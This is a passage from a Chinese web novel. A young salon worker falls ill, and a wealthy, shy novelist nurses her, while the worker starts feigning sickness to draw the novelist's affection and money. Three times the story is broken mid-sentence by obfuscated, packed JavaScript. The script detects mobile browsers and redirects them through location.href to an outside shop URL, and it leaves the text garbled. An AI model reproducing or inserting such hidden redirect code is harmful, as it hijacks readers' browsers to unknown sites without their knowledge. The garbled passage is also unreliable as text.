当然她对曹悦没任何意思,只是单纯通过她想到了江晓月而已。 温旎也没客气,就直接去第一个洗澡了,出来的时候就看到曹悦还在沉着一张脸铺床,另外三个人也都因为这种氛围不说话了,刷视频都很小声。 温旎深吸了一口气——她很不喜欢因为自己的事,影响其他人。 尤其是另外三个人平时都对她不错,她不愿意给好人找不自在。 现在天气也暖和了,晚上也算不上冷,她抓起枕头被子下楼,在店里的沙发上将就着躺下了。 中途陆笙出来劝了她一次:“曹悦就是故意赶你呢,你一走,她就恢复正常了,还给倩姐我们分吃的,你不能就这样认输啊!” “算了,我懒得吵。你快回去吧。”温旎倚着沙发说道。 以前她睡了那么多年沙发,现在也一样可以。 第二天起来,她有点不对劲,整个人都昏沉沉的,头重脚轻,给人洗头发时看着水龙头流动的水,竟然有些头晕。 她没当回事,继续工作。 中午去陈微时那里吃饭,她难得胃口不太好,没吃下多少东西。 而且也不知道是不是她身体不舒服带来的错觉——陈微时好像在刻意和她拉开距离。 好像客气了很多。 可昨天,她们明明还挺亲近啊? 一想事就头晕,她晃了晃脑袋,起身和陈微时告别:“姐姐那我先走了。拜拜。” 陈微时很平静地“嗯”了一声:“再见。” 然后继续低头看书,也没像往常那样来送她到门口。 “姐姐。”鞋子都换好了,她忍不住转头问陈微时,“你怎么说再见,不说拜拜啊?再见听起来好正式好客气。” 陈微时转头看她一眼,又迅速收敛视线,手指轻轻摩擦着书脊:“……不好意思。拜拜。” 温旎把鞋子脱了,换回蓝色拖鞋,走到她腿边,蹲下来看着她,很委屈地说道:“姐姐,那你抱抱我,我就不生气了。” 17.脆弱 温旎仰起头,眉眼向上皱起,可怜巴巴地看着陈微时,手指似有若无地搭在她膝盖上。 陈微时身体僵硬了一瞬,移开视线,睫毛轻颤着,终究还是有些别扭地伸出手,轻轻揉了揉她发丝蓬松的后脑:“……不要生我的气。” 她是温旎的好姐姐,在温旎生自己气的时候,哄一哄也是应该的吧? 而温旎像是得到了什么许可证,额头往下一低,靠在了陈微时膝盖上,手臂往前伸了伸,圈住陈微时的腰。 她的手臂很有力,抱陈微时的腰抱得很实,好像生怕陈微时走开。 “姐姐……你身上好香啊。”她埋在陈微时腿上,直白地感慨道,“你用的什么香水?” 陈微时轻声说了一个法国奢牌的名字。 温旎在她腿上蹭了蹭:“好好闻哦。” 她这么一蹭,陈微时的手指便蹭到了她耳垂,像被火烫了一样。 陈微时蹙眉,去摸她额头,果然很烫。 “你发烧了。”她低头看着温旎,“我给你找药。” 温旎昏昏沉沉靠在她腿上,只觉得陈微时的声音忽远忽近,胡乱点头:“啊?哦哦哦……” 温旎不动,陈微时只好自己把她托起来。 托着温旎的手臂起来,她这才发现温旎没有看起来的那么瘦。 温旎迷迷糊糊地半睁眼看着她:“姐姐……怎么这么热啊。” 陈微时力气并不大,把她托起来已是费力,此时听她说话,转头看她,不小心鼻尖蹭过她滚烫的脸颊。 烫的,软的,像一团被加热了的棉花糖。 热量好像会传染,陈微时立刻又把头转回去,用力将温旎托到沙发上坐好,然后从茶几下取出药箱,用测温枪在温旎额头仔细测量了几遍。 三十八点八。 陈微时收起测温枪,垂眸看着温旎,眼中是不加掩饰的心疼。 此时温旎眼睛闭着,看不到她。 这已经是一个让人无比难受的温度了,温旎已经足够能忍。难怪刚才吃饭胃口那么不好。 陈微时刚才就想问温旎是不是不舒服,可想到自己下定的决心,又不知道该如何开口。 她不是一个很能掩饰自己的人,一旦开口去问去关心,就迟早会暴露心迹。 她不愿意多说话,多表达,只想默默对温旎好,让温旎至少好好吃饭,就可以了。 还有就是……至少可以每天见到温旎。 温旎一直觉得在她这里吃饭,是占了她的便宜,可只有陈微时知道,对她来说,她见到温旎这件事,远远超过了这顿饭的价值。 她也不知道是从什么时候开始的。 目光开始追随这个女孩,关心她的过去现在和未来,为了她努力克服社交恐惧…… 可她知道,这样不好。 然而决心只维持了一个晚上。看到温旎发烧,她根本无法做到浅浅揭过。 原本想直接去医院的,但又想到温旎年轻身体也好,过度治疗也许是坏事,便拿出退烧药,托着温旎的脖颈让她喝下去。 温旎一脸迷糊地咽下去,才发觉自己咽下去的是胶囊,顿时脸都皱作一团——她最讨厌吃胶囊了,那种黏糊糊黏在嗓子里的感觉让人觉得恶心。 陈微时赶紧又给她喂了一口水,温旎冷不防又喝了一口,一时没咽下去,呛咳了一下,水都顺着嘴角流了下来。 长这么大都是等别人来伺候,陈微时一点照顾病人的经验都没,手忙脚乱地抽了纸巾来擦。 她凑近先擦了温旎脖颈,然后沿着水痕往上擦,是温旎窄而不尖的下巴,线条流畅的下颌,最后才是嘴角。 温旎就微仰着头让她擦,沾了水的晶莹唇瓣微张着,一副对她极度依赖信任的模样。 陈微时轻轻擦着她嘴唇,小指指腹碰到了她下唇下方的那道横向小疤痕。 好在这道疤痕生得巧妙,刚好长在下唇下方的最中间,丰满的唇在这里轻微凹陷了一点,但还算对称,甚至因为有了这道疤,下唇显得更加有棱角,增添了几分英气。 陈微时迅速移开目光。 “姐姐……”温旎抓住她手腕,含糊地说道,“我好难受。” 陈微时静默了几秒钟,随即缓缓坐下来,扶着温旎侧身躺在自己腿上。 温旎圈住她,就这样半睡半醒躺了半个小时,又突然惊醒:“哎,店里开门了!我得回去。” 陈微时按住她肩膀: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16590674|186264||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你这样没办法工作,可以请假吗?” 温旎确实头晕目眩的,但退烧药起了点作用,她已经清醒了不少。 “请是能请,可是……”她闭上眼,叹了口气,“昨天已经请同事替我了,今天再让她帮忙不太好……我坚持一下算了。” 她睁开眼,看到陈微时在沉默,咧开嘴笑了,“姐姐,我身体可好了,不用担心。而且……”她在陈微时腿上蹭着碎发,“你都抱我了,我觉得我身上又有劲了!” 陈微时憋了几秒钟,终于还是忍不住启唇:“你和朋友也这样吗?” 温旎困惑:“哪样?” “就是……这样抱。”陈微时有些难为情地说道。 “哦,我和朋友还好,”温旎大大方方道,“有时候很久不见面,见了面就会抱一下。我是个用肢体接触来表达喜欢的人。” ……喜欢? 说着她就已经要起来了,陈微时扶着她,面露忧色:“你真的可以吗?” “可以的。”温旎努力睁了睁有些涩的眼睛,慢慢起身。 其实她真的不想走。 她好累,好想休息。 在“上头事务所”这半年,她没有一天是躺在床上休息的,外婆的病、债务和徐阳都压着她,让她透不过气来。 或者说,从她出生起,快乐舒心的日子就很少。 她只有二十二岁,却觉得自己很苍老。这半年来她疏于运动,加上晚班,身体也弱了许多,不然也不会睡一晚沙发就发高烧。 而陈微时这里,这样舒服的沙发,她原本连摸都摸不到的。 现在她竟然能躺在上面。 钱真的能让人快乐,舒服。 她动作缓慢地换好了鞋子,里面的陈微时递过来一样东西:“眼睛不舒服的时候用。” 温旎接在手心里。是单支的眼药水,陈微时给她拿了四支。 “姐姐。”温旎把眼药水握紧,抬头看着她,脸上是破碎、脆弱还有迷茫,“你为什么对我这么好?” “我这个人容易蹬鼻子上脸,你要是对我好,我会想让你对我更好。” “可我不想这样对你。要是哪天我太过分了,你就拒绝我,行吗?” 18.柔软 温旎就这样抬头看着陈微时,因刚才睡在沙发上,有几缕碎发凌乱黏在脸侧,眼睛因发烧而水雾迷蒙,像一只迷途的雌兽。 陈微时在她的注视中稍稍握紧了手指,随即尽可能轻松地启唇微笑:“我也是为了取材而已,你帮了我许多,所以我对你好,是应该的,不用跟我客气,也不用有负担。” 是应该的……吗? 温旎点头,把眼药水揣进口袋,嘴角弯起笑弧:“姐姐,你真好。” 两人在门口道别,温旎昏昏沉沉往电梯那边走,突然瞥见旁边墙壁的装饰画框上,倒映出了陈微时的身影。 陈微时在目送她。 她收回目光,脚步并未有所停顿,忍着难受下了电梯,往店里走去。 她从很小就知道,谁对谁好,都没什么应该可言。 应该又怎么样,不应该又怎么样,有的人应该而不做,有的人不应该也做。 最应该对她好的是温雨婷,结果呢?温雨婷有对她好吗? 应该这个词,谁信谁傻。 陈微时没有任何义务对她好。之所以对她好,只是因为陈微时想对她好。 这个好心姐姐看向她的眼神,她一次不确定,还能次次不确定吗。取材这种事,一听就是借口。 这个姐姐太单纯了,撒谎的时候都好像在告诉她,喂,我在撒谎。 命运真的好讽刺,前些天她一腔热血想拿下富婆时,陈微时对她的意思反而没现在明显。当时她不太抱希望,也讨厌自己这样攀高枝。 现在她脑子有个小恶魔在止不住地小声告诉她:陈微时这个富婆不是普通富婆,她不吃那油腻的一套,她喜欢真诚的,破碎的,真实的你。 只要你稍微给她点甜头,她就会不知道东南西北,什么都肯给你。 她是放弃了命运彩票,可是,如果是彩票主动来她口袋的呢? 她没精打采地低头走着,拿出手机翻看着钱包里不足一百块的余额。 她现在真的很累,她怕哪一天,自己就坚持不住了。 好久没感冒过,这一次竟是来势汹汹。 一下晚班,温旎就回了宿舍倒头睡觉,任由曹悦那边怎么折腾,她都不搭理。 现在曹悦在她眼里就是个傻x,为了膈应她还搞拉帮结派那一套,想和宿舍其她三个人组成小团体排挤她,比幼儿园大班小朋友还不如。 其实其她三个人明显和温旎关系更好,曹悦竟然觉得分点小零食就可以挑拨离间。 第二天她醒来,虽然烧已经退了,却还是头晕眼花地难受。 她提前给陈微时发了消息:姐姐,今天不过去吃饭了哦,有点吃不下,你一个人多吃点[土狗淋雨.jpg] 陈微时回复得很快:好的。 也没跟什么表情包,就是淡淡的一句“好的”。 温旎低头看着手机屏幕,心里闪过一丝不多见的忐忑。 陆笙踩着梯子上来,掀开帘子探头看她:“温温,你想吃什么,我给你买点回来。拼好饭还是算了,都没那么清淡,对面那家馄饨行不行?” “不用了。”温旎裹着被子,一脸疲色,“我吃不下。” 陆笙有点担忧:“这么严重吗?等会儿上班能行吗?” 温旎吸了吸鼻子:“没事的,抗一下就过去了,哪里有那么娇贵。” “那好吧。”陆笙犹豫了一下,“那你坚持不住的话,一定要叫我,我帮你顶班。” “好的姐妹。”温旎这个时候还在搞笑。 陆笙摇摇头下去了。 曹悦这个时候还在和周倩王薇她们欢声笑语,好像是在故意给温旎听。 温旎翻了个白眼,戴上耳机,打开抖音刷舞蹈视频。 跟周倩和王薇两个比较温和的人相比,陆笙表达厌恶的方式比较直接,她看不惯曹悦这副幸灾乐祸的样子,干脆走过去把王薇和周倩一手一个挽住,亲热地说道:“姐姐们,咱们吃饭去。” 曹悦:…… 温旎隔着耳机也听到了陆笙说话,差点忍不住笑出声。 哎,陆笙真是这个店里她唯一还能算朋友的人了。 之前周倩就说过,她和陆笙简直是俩活宝,一个比一个能搞笑人来疯,性格像双胞胎一样的。 但实际上,她和陆笙才不像,她没陆笙那么容易相信另一个人。陆笙早就以她为知己好友,她却有很事情都没跟陆笙讲过。 好听点说,她比陆笙慢热。 她需要很久,很久,才能相信一个人。 或者说,她其实早就不对任何人抱有期待了。 看着看着舞蹈视频,她就有些想睡,但因为饿得肠胃绞痛,又睡不着,简直就是纯折磨人。 这时门口传来一阵敲门声。 她恍然惊醒,以为是陆笙她们回来了,有气无力地说了声“进”,还在奇怪为什么陆笙要敲门,且敲得这么文明秀气。 房间本就小而昏暗,又拉了窗帘,外面的人是逆光进来的,只有一个剪影,但只需随便瞥一眼,便知道那不是陆笙,也不是这个宿舍里任何一个人。 这人关上门,温旎才看清:“哎?姐姐你怎么来了?” 陈微时穿着一身素色长裙,长发盘起,戴着无框眼镜,文雅秀气,光看着就知道她裙摆都是香的,和周围的杂乱简陋格格不入。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16595559|186264||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >一时间温旎还是有点尴尬的,虽然只有那么一点点。 然而陈微时似乎比她更尴尬:“是不是打扰到你了?但是……”她稍微抬了下手,给温旎看自己手上提的东西,“只是我今天恰好买了粥,吃不完,所以……顺便给你带来些。” 恰好,顺便。 陈微时话说得有些僵硬,一字一顿的,看得温旎有点想笑,可又笑不出来。 她没想到陈微时会来。 在她又饿又难受的时候,陈微时就这么“恰好”“顺便”地,给她送来了热乎乎的粥。 要说没一点感动,那是假的。 陈微时的确是除了外婆之外,对她最好的人了。 “那我给你放这里,你下来时吃点。”陈微时想把粥放她下面那张破桌子上,却发现桌子上堆满了杂物,甚至还有一个黑色的运动内衣扔在上面,顿时无措,不知道该往哪里放了。 “姐姐你别动了,我下来了。”温旎赶紧转身面对墙壁,把内衣穿好,套了T恤下来。 陈微时迅速移开了视线。 温旎下来把桌上的小风扇扔一边,好容易才腾出一块地方,接过陈微时手里的粥,放在了上面。 可是再想找个给陈微时坐的地方,却是完全没有了。 “姐姐,不好意思哈,”温旎的尴尬很坦然,“我们宿舍条件太差了,没地方给你坐。” 陈微时立刻摇头:“我不用,我马上就走了。” “不看我吃完嘛。”温旎语气越发柔软。 “……那好吧。”陈微时犹豫了一下,还是站定在了旁边。 温旎转身打开陈微时带来的玻璃保温盒,里面顿时溢出了温暖软糯的香气。 是瘦肉青菜粥。 不是外卖那种稀稀的粥,而是非常浓稠的、有家的气息的,真正用心熬煮出来的粥。 温旎弯腰喝了一口,热乎乎的香气顿时充斥了口腔,让她胃口大开。 “嗯~好好吃!”温旎眼睛顿时就亮了,热爱美食的她,此时觉得甚至得感谢感冒,否则她怎么会吃到这么好吃的粥。 见她爱吃,陈微时这才从尴尬转为欣慰,站在一旁看她美美地吃完了一整盒的粥。 吃完,她翻了半天才找到纸巾,擦了擦嘴巴,转头看向陈微时,桃花眼略微弯了弯:“姐姐……那你会不会觉得我现在很邋遢,很丑啊?” 她昨天都没洗澡,头发有点油,还有点压变形了,脸色憔悴不堪。 其实她平时还是很讲卫生的,固定每几天就要收拾床铺和桌椅,只是恰好今天最乱,让陈微时看到了。 她心里有点忐忑——陈微时会不会对她下头啊? 19.魔力(含入v通知) 原本只是跟陈微时没话找话,可这句话问出口后,温旎竟然真的有点忐忑了。 她向来对自己的外表自信——起码外人看起来是这样的,但现在,她竟然真的有点担心,陈微时会因为看到她这幅病容,而对她失去兴趣。 没了外表,她还有什么可以吸引到陈微时? 不光是失去那张彩票,她还会失去陈微时那无条件的认可。 她突然有种不确定的慌张,就像从陡峭的山顶往下走,却看不到阶梯在哪里一样。 短短几秒钟的时间,她脑海中那个小魔鬼已经在她耳边窃窃私语,和她讨论如何挽回自己在富婆眼中的形象了。 然而她却听到陈微时很认真地说道:“谁都会生病,你现在也并不丑。” “你怎么样都可以。” 一时间,温旎竟不知道该说什么了。 陈微时社恐内向,沉默寡言,偏偏每每说话,表达都非常直接。 这种笃定、温柔、直接的表达方式,在温旎从前的世界中,从未见到过。 她看到的是厮杀,猜忌,防备,谎言,抛弃,互不信任。 可以说,陈微时的品性完美得几乎不像一个人。 这样完美的人,像一面镜子,清晰映照着她的卑微、算计和阴暗。 这种感觉并不好。 但陈微时对她所有的样子完全接受,又让她有几分得意,还有几分舒适和感动。 她舔了舔干燥的唇瓣,低头笑着拿起保温盒,有些撒娇又有些试探:“真的嘛,姐姐,我真的怎么样都可以吗?” 陈微时惯性地垂眸,但仍然是毫不犹豫:“嗯。” 温旎修长手指轻轻摩擦着保温盒的边缘,就这么看着陈微时,那双原本晶亮透彻的眼睛,此刻晦暗不明。 这间宿舍显得越发狭小逼仄。 这几秒钟对于温旎来说,漫长得像一个世纪。 而低着头的陈微时,并没有意识到这一点。 她没有注意到温旎俯身接近她,但又顿住了动作,然后很慢地退了回去。 “姐姐我去把这个洗了。”温旎恢复到了平日的模样,只是嗓子有点哑,“等我哈。” “不用洗的,我带回去洗就好。”也不知道陈微时哪里来的力气,抢过她手中的盒子放回袋子里,“你好好休息。” 然后她提起袋子,抬起左手轻捋了下耳侧长发,看向温旎,轻声说道,“拜拜。” 这次说的是“拜拜”,不是那么正式客气的“再见”。 但态度已经尽可能做到了,只做温旎的“好姐姐”。 带上门,心跳却依然没有平复。 她刚刚回头,看到温旎那堆杂物中,有一样她十分熟悉的东西:《雾港》的特签版。 温旎买了她的书。 为什么呢? 她往楼下走着,摇摇头,不想再多想。 陈微时一走,宿舍里回到了一片昏暗中,只有空气中残留量的食物和香水气味,证明着陈微时刚刚来过。 “好香啊。”陆笙和两个姐姐吃饭回来,一下子就闻到了这不同寻常的气息。 “温温,刚才是不是有个挺美的姐姐来过?”陆笙突然想起了什么,“我们在下面吃饭的时候,她进来问你在不在,还问你感冒好了没。” “我问她是谁,她说是你姐姐。”陆笙纳闷,“你还有这么一个姐姐呢吗?” 陆笙年纪是小,但比温旎出社会还要早,对她来说,只要有眼睛,就能看出,那不可能是温旎的姐姐。 “哦,她……”温旎一时语塞,“是我一个很远的表姐。” “难怪呢。”陆笙点头,“可是,虽然是远亲,你发烧她还能拿着东西来看你,也真是对你蛮好了。” 她和温旎都过早见识过了世态炎凉,也多多少少知道一点温旎家里的情况,所以对温旎这位远亲的做法极为感慨,考虑得也很现实。 “而且你好幸运啊温温,”陆笙感叹,“你这个表姐一看就混得很好,一副高级知识分子样子,看起来就不是缺钱的人,以后说不定还能帮帮你。” 周倩和王薇也纷纷点头:“没错,小温你还年轻,多跟这样成功的亲戚走动走动,肯定没坏处。” “真的哎,”陆笙越说越上头了,“你之前不是说,特别想当演员吗?你表姐是做啥的,能不能帮上忙?” “哎呀……她,她只是个写书的。”温旎含糊地说道,“帮不上我什么的。” “写书的!”陆笙惊呼,“你是不是不看小说啊?很多小说作者都对影视主角有发言权的,尤其是出了名的作者。” “……真的?”温旎喝水被呛了下,咳嗽着问道。 “真的呀。”陆笙肯定地说道,“你去看看她有没有影视改编作品嘛,说不定能把你塞进去呢?” “反正现在你不去演,也是资本家的丑孩子演,你来演多养眼啊。” 陆笙说的这些,温旎之前从未想到过。 文字的世界,她实在不懂,电视剧也只是凑热闹看那么两眼,万万没想到文字竟然也能和娱乐圈联系上。 原来陈微时能带给她的,并非只是RMB,以及好吃的好玩的好睡的,还有其他更诱人的东西。 从小她能得到的赞许和褒奖,多跟外貌相关。 其他的,不管她如何努力,总是无人在意。 上初中时刚刚长开,便有人开始说她长得像某某明星,一会儿像这个女明星,一会儿又像另一个男明星,这样的夸奖怎么可能不让一个十三四岁的孩子洋洋自得。 来苏城也是因为那经纪人信誓旦旦说,给她安排剧组里舞蹈替身的工作。 她热爱跳舞,热爱聚光灯,热爱艺术,她生来该是一个艺术家,却偏偏无人托举。 也不知道是不是感冒的原因,听了陆笙的话,她额头和身上又发起热来。 如果不把握住这次机会,她这辈子还有可能翻身吗? 陈微时这样的条件,真是千载难逢。 凭什么江晓月可以和有钱的丑男谈恋爱,她就不可以和富婆谈恋爱。 她比江晓月强多了,至少陈微时长得那么好看,比那丑男有钱得多。 而且就算抛开她的小心思,陈微时作为一个恋爱对象,也是个好的选择吧?她又不讨厌这个姐姐。 她心里乱糟糟的,打开手机搜索陈微时的作品,才发现《雾港》早已签约了影视版权,并且因为原著口碑好,热度高,已经有年轻演员在暗戳戳发通稿舔饼了。 至于之前的作品,已经有一部拍成了电视剧,三年前就播出过了。 这个发现让温旎连续几天都心神不宁,一有空就琢磨这件事,与此同时和陈微时没话找话的次数也多了起来。 曹悦持续作妖,搞出各种事情来隔应温旎,陆笙悄悄跟她说:“你还真让她蹬鼻子上脸啊?” 温旎笑了笑:“说不定以后她都见不到我了。” 第二天她感冒就已经好了很多,但她在微信上是这么跟陈微时说的:姐姐,我还是很难受,今天也不去吃饭了。 那天,陈微时果然又给她来送饭了,还很贴心地提前跟她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16599457|186264||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说了。 这次温旎特意把床铺和桌椅都收拾了一下,还照了照镜子,确认自己看起来仍有病容,而且楚楚可怜,才躺回床上等待陈微时。 等待的几分钟里,她突然有些抽离感,不知道自己在做什么。 金钱,光环,名誉,那些都离她太远了,她还是不相信自己能得到。 她翻着手机里的消息。 前天温雨婷气势汹汹地给她发:你外婆养你一场,你连个看病钱都不给她出?你外公说她严重了,得住院。 温旎当时身体已经在不舒服了,所以没回。 以前她会生气会失望,现在她都懒得跟温雨婷说话了,根本就是对牛弹琴。 温雨婷自己没少从外婆手里拿钱,还好意思说她? 温旎也没给外公外婆打电话。打电话有什么用?她又没有钱。 这样的事情发生过太多次了,家不是家,亲人不是亲人。 外面响起敲门声,她立刻把微信页面关掉。 陈微时这次带的是番茄鸡蛋疙瘩汤,上面还撒了香菜碎。 温旎喜欢吃香菜。 但她只吃了几口,就放下了勺子,转头看向陈微时,眉眼向上皱起,撒娇道:“姐姐~你喂我吃好不好。” 陈微时不疑有他,立刻点头,上前拿起勺子,舀起浓稠的汤汁,小心喂到她唇边。 温旎启唇含住勺子,慢慢抿干净,丰满的唇瓣沾染了汤汁,却似浑然不觉。 陈微时抽出纸巾递给她,她却可怜巴巴地看着陈微时,黑白分明的眼睛里满是依赖。 陈微时低垂着眼睫,又把纸巾拿回来,俯身仔细擦去她唇上的汁液。 靠得太近,四目相对,那双桃花眼中脉脉情深,好像要把人溺死在里面,滚烫的鼻息扑洒过来,陈微时睫毛颤抖,倏然拉远了距离:“……好了。” 温旎看着她,看了好几秒钟,接过她手中的勺子,垂头丧气道:“我自己吃吧,姐姐。” 陈微时不明就里,点了点头:“……好。” 又过了一天,温旎已经是生龙活虎,可她微信上是这么跟陈微时说的:“还是有点难受……但是我不想耽误你时间,还是我去你那里吃吧姐姐。” 她依旧没化妆,但选衣服的时候,多费了十几分钟的工夫;洗脸敷了面膜。 那面膜还是她从江城带来的,一直没舍得用。 最后照了照镜中的自己,嗯,很完美,美强惨了可以说。 一进门,她就听到客厅里那昂贵的音响正在放歌:“我喜欢这样,跟着你,随便你带我,到哪里……” “哇,姐姐,你也喜欢这首歌啊。”她献上早就准备好的笑脸。 “哦……”陈微时有些尴尬,“其实我没听过这首歌,是那天你唱了,我觉得好听,才去搜的。” 温旎坐在换鞋凳上,咳嗽了一声,抬头似笑非笑地看着她:“这样啊。” “你要是不喜欢的话,我换一首。”陈微时说着转身要过去,却被温旎拉住了手腕。 她手腕生得纤细,肌肤脆弱、敏感,而温旎的手比她大也比她有力,稳稳握住她的手腕。 “姐姐……”温旎把她拉到自己身前,抬头看着她的眼睛,慢慢圈住她腰身,喃喃说道,“抱抱我……” 陈微时身体紧绷,逼着自己不去看那双仿佛有魔力的桃花眼,可身体却听从本能靠近了对方。 她轻轻抱住了温旎的脑袋,贴在自己身前。 温旎手臂在她腰侧轻轻蹭着,抬头双眼迷蒙地看着她:“姐姐……那你再亲亲我。”